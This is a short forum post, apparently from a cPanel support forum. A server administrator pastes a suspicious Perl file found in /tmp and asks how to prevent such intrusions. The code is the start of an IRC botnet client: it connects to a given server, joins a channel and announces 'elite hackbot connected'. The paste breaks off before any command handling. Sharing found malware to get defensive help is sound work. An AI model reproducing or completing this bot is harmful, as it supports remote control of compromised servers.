Hi All,
I have got supecious filein our /tmp dir. This is the code they placed. Can anyone tell em how could we avoid thse?
#!/usr/bin/perl
use IO::Socket;
$ARGC=@ARGV;
$serv=$ARGV[0];
$chan=$ARGV[1];
$botnick=$ARGV[2];
$sock = IO::Socket::INET->new(
PeerAddr => $serv,
PeerPort => 6667,
Proto => 'tcp' ) or die "****************";
while($line = <$sock>){
print $line;
sleep 3;
print $sock "NICK $botnick\nUSER bot 0 0 :CCS bot\n";
last;
}
while($line = <$sock>){
print $line;
#use next line if the server asks for a ping
if($line =~ /^PING/){
print $sock "PONG :" . (split(/ :/, $line))[1];
}
if($line =~ /(376|422)/i){
print $sock "NICKSERV :identify nick_password\n";
last;
}
}
sleep 3;
print $sock "JOIN #$chan\n";
sleep 2;
print $sock "PRIVMSG #$chan :elite hackbot connected\n";
while ($line = <$sock>) {
($command, $text) = split(/ :/, $line); #$text is the stuff from the p
ing or the text from the server
cPanel.net Support Ticket Number:



LinkBack URL
About LinkBacks
Reply With Quote





